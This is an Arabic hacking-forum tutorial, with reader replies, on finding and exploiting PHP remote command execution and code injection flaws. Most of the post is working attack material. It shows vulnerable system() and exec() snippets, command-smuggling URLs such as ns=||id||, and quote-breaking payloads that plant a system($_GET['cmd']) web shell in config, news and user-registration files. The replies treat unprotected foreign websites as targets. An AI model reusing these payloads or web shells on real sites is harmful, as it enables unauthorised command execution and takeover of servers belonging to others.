شرح اكتشاف واستغلال ثغرات Remote Command Execution و PHP Code Injection

السلام عليكم

إزيكو يارجاله
درس من دروس دورة الحمايه للأبد لاختراق المواقع والسيرفرات
قلت نحطه هنا لعل الاخوان يستفيدو منه :slight_smile:

الدرس النهارده ان شاء الله عن ثغرات ال
Remote Command Execute
او بتعرف اختصارا بإسم
RCE
بالاضافه لشرح ثغرات PHP Code Injection

هنتكلم عن اكتشاف الثغره + كذا طريقه لاستغلالها + تخطى بعض المشاكل اللى ممكن تواجهنا اثناء التطبيق
مكنش هينفع الشرح فيديو لان الموضوع عايز فهم اكتر من ما هو محتاج تطبيق
فى الاخر فيه اختبار صغير كده

نبدأ على بركة الله

كبدايه كده
أشهر داله مستخدمه فى تنفيذ الاوامر هى دالة
system
الشكل التقليدى للداله بيكون كده

$cmd=$_GET['cmd'];
system($cmd);

يبقى لو فرضنا ان اسم الملف اللى فيه الكود ده هو vuln.php
يبقى الاستغلال هيكون كده
vuln.php?cmd=ls -la
والنتيجه هتكون تنفيذ الأمر بتاعنا
يبقى لو عايزين نبحث عن ملف مصاب بالثغره نستخدم اى برنامج زى النوت باد بلس بلس مثلا
ونبحث عن
system(
او
exec(
passthru(
وهكذا
ونبص على الكود
تابع الموضوع وانت تعرف الطريقه المناسبه للاستغلال
فيه دوال تانيه لتنفيذ الأوامر زى
passthru
shell_exec
exec
نمسكهم واحده واحده كده
system
هتطبق الأمر وتعرضلك النتيجه فى الصفحه
passthru
هتطبق الأمر وتعرضلك نتيجته فى الصفحه
shell_exec
هتطبق الأمر لكن هتعرض النتيجه كمتغير
exec
هتطبق الأمر لكن مش هتعرض النتيجه
فل كده؟؟
من الكلام اللى فوق ده
نعرف ان لو السكربت المصاب موجود فيه دالة
exec
بالشكل ده مثلا

$cmd=$_GET['cmd'];
echo exec($cmd);

يبقى الاستغلال كده
vuln.php?cmd=ls -la
مش هتشوف نتيجة الأمر
لكن فى الحقيقه الأمر اتنفذ بالفعل
تمام لحد دلوقت؟

ركز فى اللى جى بقى لان كل اللى فوق ده ولا حاجه
هاتلك فنجان قهوه كده واقفل الأغانى وفتح عي*** معايا كويس أوى

ناخد المثال الاول
سكربت من سكربتات
whois lookup
نبص على الكود كده


<?php
include("common.php");
showMenu();
echo '<br>';
$status = $_GET['status'];
$ns  = $_GET['ns'];
$host= $_GET['host'];
$query_type= $_GET['query_type'];
$ip  = $_SERVER['REMOTE_ADDR'];
$self= $_SERVER['PHP_SELF'];
$host = trim($host);
$host = strtolower($host);
echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>");
echo '<pre>';
//start digging in the namserver
system ("dig @$ns $host $query_type");
echo '</pre>';
?>

واخدين بالكو من دى؟؟

system ("dig @$ns $host $query_type");

فل
يبقى لو فرضنا ان اسم الملف vuln.php
يبقى الاستغلال هيبقى ايه؟؟
حاول تطلعه مع نفسك كده
زى ما عملنا فووووق فى اول الموضوع

المفروض الاستغلال يبقى كده
vuln.php?ns=id&host=sec4ever.com&query_type=ANY&status=digging
يبقى من بين كل دول انا عدلة خانة
ns
وحطيت فيها الامر بتاعى اللى هو
id
طبق كده وشوف
النتيجه
مفيش أوامر اتنفذت
ليه؟؟
الاستغلال اللى اجنا كتبناه اما ييجى يتنفذ هيتنفذ بالشكل ده
system (“dig id sec4ever.com ANY”);
طبعا أمر ملوش معنى
طب والحل؟؟؟
الحل يا معلم اننا نفصل الأمر اللى عايزين نطبقه عن باقى الاوامر
طب ازاى؟؟
كده يا حج
;
او
||
انت اما بتحب تنفذ كذا امر جنب بعض فى اللينكس بتنفذهم كده
ls -la;id;uname-a
تمام؟؟
بس هنا مش هينفع نستخدم ;
يبقى خلينا فى ||
كده بينفذ الاوامر واحد بعد التانى
نفس الفكره هنا
احنا عايزين ننفذ الأمر بتاعنا لوحده ونفصله عن اللى قبله واللى بعده
يبقى هننفذه بالطريقه دى
vuln.php?ns=||id||&host=sec4ever.com&query_type=ANY&status=digging
الأمر هيتنفذ بالشكل ده
system (“dig ||id|| sec4ever.com ANY”);
بكده هنلاقيه نفذ أمر
dig
وبعدين
id
وهنلاقيه عرضلنا النتيجه زى الفل

نبدأ فى حقن أكواد البى اتش بى وتشغيل الدماغ بقى
اقرا المثال كذا مره عشان تستوعب كويس وبعدها خش على المثال التانى

PHP Code Injection

هنقوم احنا بنفسنا بحقن كود ال
RCE
فيه
او ممكن نحقن اى كود بى اتش بى طبعا بس خلينا فى الريموت كوماند
المثال


if(isset($action) && $action == "setconfig") {
$config_file = "config.php";
$handle = fopen($config_file, 'w');
$StringData = "<?php\r
$"."news_width = '".clean($_POST[news_width])."';\r
$"."bgcolor = '".clean($_POST[bgcolor])."';\r
$"."fgcolor = '".clean($_POST[fgcolor])."';\r
$"."padding = '".clean($_POST[padding])."';\r
$"."subject_margin = '".clean($_POST[subject_margin])."';\r
$"."fontname = '".clean($_POST[fontname])."';\r
$"."fontsize = '".clean($_POST[fontsize])."';
?>";
fwrite($handle, $StringData);
}

برىء فى الظاهر
مفيش لا سيستم ولا بطيخ
طيب نشوف بيعمل ايه البتاع ده
$

config_file = "config.php";
$handle = fopen($config_file, 'w

');
مرتبط بملف تانى اللى هو
config.php
وبيعدل عليه
تمام
نشوف ملف config.php


<?php
$news_width = '600px';
$bgcolor = '#000000';
$fgcolor = '#ffffff';
$padding = '5px';
$subject_margin = '0px';
$fontname = 'verdana';
$fontsize = '13px';
?>

واضح كده ان ملف الكونفيج بيستقبل متغيرات عن طريق الملف الأولانى
يبقى ممكن نعدل فى المعلومات اللى بتتحط فى الكونفيج دى
ونحط مكانها كود ريموت كوماند
نحقن مثلا الكود ده

<?php system($_GET['cmd']); ?>

فى خانة
$news_width
طيب تعالى نروح نحقن الكود كده
user.php?action=setconfig
حطينا الكود
نجرب نطبق الامر بالشكل ده
config.php?cmd=id
هيدينا إيرور
السبب
لو بصينا على ملف الكونفيج هنلاقيه كده

$news_width = '<?php system($_GET['cmd']); ?>';

والكود طبعا غلط بالمره
يبقى لازم فى الحاله دى نشغل البصله برضه يا جدعان
نشوف الكود الاصلى كده
$news_width = ‘600px’;
طيب
ايه رأيك نجرب الكود ده
‘;system($_GET[‘cmd’]);’
شوف هيبقى فى ملف الكونفيج ازاى

$news_width = '';system($_GET['cmd']);'';

نقسمه كده
$news_width = ‘’; ده كود لوحده

system($_GET[‘cmd’]); وده كود لوحده وهو اللى يهمنا

‘’; وده كود لوحده

كل اللى عملناه اننا قفلنا اقواس التنصيص وحطينا نهايه للكود باستخدام ;
وبعدها بدأنا كود جديد اللى هو فيه دالة السيستم
وقفلناه برضه وبعدين كود اخير عباره عن قوسين تنصيص وخلاص
نروح نجرب
config.php?cmd=id
اتنفذ زى الفل :stuck_out_tongue:

نبص ع مثال تالت
هنا الأخبار بتتكتب فى ملف اسمه
news.txt
نبص على الملف كده

<table class='sn'> <tbody> <tr><td  class='sn-title'> test </td></tr> <tr><td  class='sn-date'> Posted on: 08/06/2009 </td></tr>  <tr><td class='sn-post'> test </td></tr>  </tbody></table><div><br  /></div>

طيب ما احنا نقدر نحقن كود بى اتش بى تبعنا
بس الملف تكست يبقى مش هيتنفذ؟
غلط
احنا هنحقنه فى ملف تكست لكن هنستعرضه من ملف بى اتش بى :))
ازاى؟
نبص على الملف اللى بيكتب الأخبار كده


$newsfile = "news.txt";
$file = fopen($newsfile, "r");
elseif ((isset($_REQUEST["title"])) && (isset($_REQUEST["date"])) &&
(isset($_REQUEST["post"])) && ($_REQUEST["title"]!="") &&
($_REQUEST["date"]!="") && ($_REQUEST["post"]!="")) {
$current_data = @fread($file, filesize($newsfile));
fclose($file);
$file = fopen($newsfile, "w");
$_REQUEST["post"] = stripslashes(($_REQUEST["post"]));
$_REQUEST["date"] = stripslashes(($_REQUEST["date"]));
$_REQUEST["title"] = stripslashes(($_REQUEST["title"]));
if(fwrite($file,$btable . " " . $btitle . " " . $_REQUEST["title"] . " "  .  $etitle . " " . $bdate . " " . $_REQUEST["date"] . " " . $edate . " "  . $bpost . " " . $_REQUEST["post"] . " " . $epost . " " . $etable . "
  " . $current_data))
include 'inc/posted.html';
else
include 'inc/error1.html';
fclose($file);
}

واضح من الكود ان الاخبار بتتكتب فى ملف news.txt
طيب
الزوار أكيد مش هيدخلو على ملف
news.txt
لان كله اكواد هتمل الزائر العادى مش هيفهم منها حاجه
اكيد فيه مكان بيشوفو فيه الاخبار
نبص فى السكربت نلاقى ملف اسمه مثلا
display.php
نبص عليه

<?
include("news.txt");
?>

فل
طيب نحقن كودنا عن طريق ملف post.php
عن طريق التيتل مثلا

<?php system($_GET['cmd']); ?>

طيب هنلاقى نتيجتنا فى ملف
news.txt
زى كده


<table class='sn'> <tbody> <tr><td  class='sn-title'>  <?php system($_GET['cmd']); ?>  </td></tr> <tr><td class='sn-date'> Posted on:  08/06/2009 </td></tr> <tr><td class='sn-post'>  test2 </td></tr>  </tbody></table><div><br /></div>
<table class='sn'> <tbody> <tr><td  class='sn-title'> test </td></tr> <tr><td  class='sn-date'> Posted on: 08/06/2009 </td></tr>  <tr><td class='sn-post'> test </td></tr>  </tbody></table><div><br  /></div>

ممنهاش فايده طبعا
لكن فى ملف display.php
هنلاقيها بالشكل ده


<?
<table class='sn'> <tbody> <tr><td  class='sn-title'>  <?php system($_GET['cmd']); ?>  </td></tr> <tr><td class='sn-date'> Posted on:  08/06/2009 </td></tr> <tr><td class='sn-post'>  test2 </td></tr>  </tbody></table><div><br /></div>
<table class='sn'> <tbody> <tr><td  class='sn-title'> test </td></tr> <tr><td  class='sn-date'> Posted on: 08/06/2009 </td></tr>  <tr><td class='sn-post'> test </td></tr>  </tbody></table><div><br /></div>
?>

فل
استعرضه على انه بى اتش بى
ننفذ أمرنا بالطريقه دى
display.php?cmd=id
والنتيجه تم تنفيذ الأمر بدون مشاكل
يبقى هنا اللى عملناه
حقننا كود عن طريق ملف
post.php
الى ملف
news.txt
واستعرضنا النتيجه من ملف
display.php :slight_smile:

ناخد مثال كمان
اصعب شويه من اللى فوق
فى المثال ده اما بنعمل عضويه جديده بتتسجل البيانات فى ملف بى اتش بى
نبص على بعض اكواد الملف المسئول عن التسجيه
add_reg.php
نلاقى


$user = $_POST['user'];
$pass1 = $_POST['pass1'];
$pass2 = $_POST['pass2'];
$email1 = $_POST['email1'];
$email2 = $_POST['email2'];
$location = $_POST['location'];
$url = $_POST['url'];
$filename = "./sites/".$user.".php";
$html = "<?php
\$regdate = \"$date\";
\$user = \"$user\";
\$pass = \"$pass1\";
\$email = \"$email1\";
\$location = \"$location\";
\$url = \"$url\";
?>";
$fp = fopen($filename, 'a+');
fputs($fp, $html) or die("Could not open file!");

ركز فى الكود كده
هتلاقيه بيعمل ملف باسم اليوزر اللى انت بتكتبه فى مجلد
sites
يعنى مثلا لو سجلت بإسم
faris
هيعمل ملف كده
site.com/sites/faris.php
طيب
واحنا بنسجل ليه منحقنش الكود تبعنا؟
ناخد مثلا خانة
$location = $_POST[‘location’];
بيطلب منك تكتب الاقامه
طيب نحطله الخزوق بتاعنا

<?php system($_GET['cmd']); ?>

النتيجه فى ملف
faris.php
هتبقى كده


<?php
$regdate = "13 feb 2011, 4:16 PM";
$user = "faris";
$pass = "xxxxx";
$email = "faris@yahoo.com";
$location = "<?php system($_GET['cmd']); ?>";
$url = "http://sec4ever.com";
?>

حاول تستعرض الملف
sec4ever.com/site/faris.php
النتيجه

Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING
رد علينا بخازوق مماثل :))
طيب
حاول تطلع الحل انت كده
ازاى نخليه ينفذ الاوامر من غير خطأ؟؟

نعمل تعديل صغنون فى الكود اللى بنحقنه
نخليه كده

\";?><?php system(\$_GET['cmd']);?><?php \$xxx=\":D

ههههههههههههههه
بسيطه صح؟؟
هيبقى شكله كده فى الملف تبعنا

<?php
$regdate = "13 fabr 2011, 4:18 PM";
$user = "farisa";
$pass = "xxxxx";
$email = "farisssss@yahoo.com";
$location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
$url = "http://sec4ever.com";
?>

نفصل الكود تبعنا
“”;?>
أنهينا بيها اكواد البى اتش بى زى كده

<?php
$regdate = "13 fabr 2011, 4:18 PM";
$user = "farisa";
$pass = "xxxxx";
$email = "farisssss@yahoo.com";
$location = "";
?>

قولناله ان دى نهاية كود البى اتش بى

<?php system($_GET['cmd']);?>

بعدها كود بى اتش بى جديد اللى فيه الخزوق تبعنا

<?php $xxx=":D";

يدأنا ملف بى اتش بى جديد
زى كده

<?php $xxx=":D";

$url = “http://sec4ever.com”;

?>

وبعدها يبدأ كود جديد تالت
نروح نستعرض الملف
sec4ever.com/site/farisa.php?cmd=id
والنتيجه اتنفذ الكود بدون أخطاء

وبكده انتهى الدرس ده

ملحوظه :
اثناء استغلال الثغره يفضل ان تستغلها داخل notepad ++
عشان الوان الكود تبقى واضحه قدامك وتسهل عليك الاستغلال
نسبه كبيره من الدرس مترجمه مع زياده فى الشرح من أجل توصيل المعلومه

هذا وإن أصبت فمن الله وإن أخطأت فمنى ومن الشيطان

أى استفسار موجود ان شاء الله

:slight_smile:

بالتوفيق يا شباب

faris/.

ابداع يامان وراح تساعد في الدرس الي راح اعمله قريب

كلام حلووو اووي
بس تعرف ايه مشكلته :))
مشكلته انه هيبكي ويختنق علشان السيف مود اون =))

شرح شامل و مفصل . ثانكيو
+
فارس حاب يلهب القسم :)) ها غير بشوي

مشكوور حبيبي فاااااارس شرح في القمة وواضح وانت ثاني شخص اشوفك تشرح ثغرات الـrce بعد ayastar
المهم كالعادة دعه …
هههه

+111111111

مشكور اخي العزيز
رغم اني ما فهمت الشرح كله
لكن ان شاء الله اراجعه مرة ثانية وافهمه

مشكورين على المرور يا شباب

شرح شامل و مفصل . ثانكيو
+
فارس حاب يلهب القسم :)) ها غير بشوي

هههههههههه
منت ولعته واللى كان كان يعم

كلام حلووو اووي
بس تعرف ايه مشكلته :))
مشكلته انه هيبكي ويختنق علشان السيف مود اون =))

يعم
الثغرات دى اغلب المصابين بيها المواقع الاجنبيه
كام موقع اجنبى شوفته سيف مود اون؟؟
هههههه
سيبها لله

هههههههههههههه نعم يا فارس العربي يفعل السيف مود ويقولك عملت حماية

[b]خلينا من السيف مود هههههههه وركز فى حلوة الخزوق

ولله أحلى شرح شفتو بقالي زمان

أفكار جميلة جدا وتنفع جدا جدا في الأوقات المحرجة

الله يرضي عليك يأبو الفوارس ونردهالك فى الأفراح[/b]

مشكور اخي فارس
بس لو كان الشرح فيديو كان افضل خصوصا لثغرات PHP Code Injection
ان شاء الله راح اقراه من تاني و افهم الدرس
بس الواحد لازم ىحضر قهوة عشا يصحصح

تقبل مروري

درس رائع والله …
مااعتقد لو ان كان الشرح فيديو بيكوم بالوضوح ذا >> >> متعقد من الفيديوهات

مشكور حبيبي فارس على الشرح القمة حقيقتا … :stuck_out_tongue: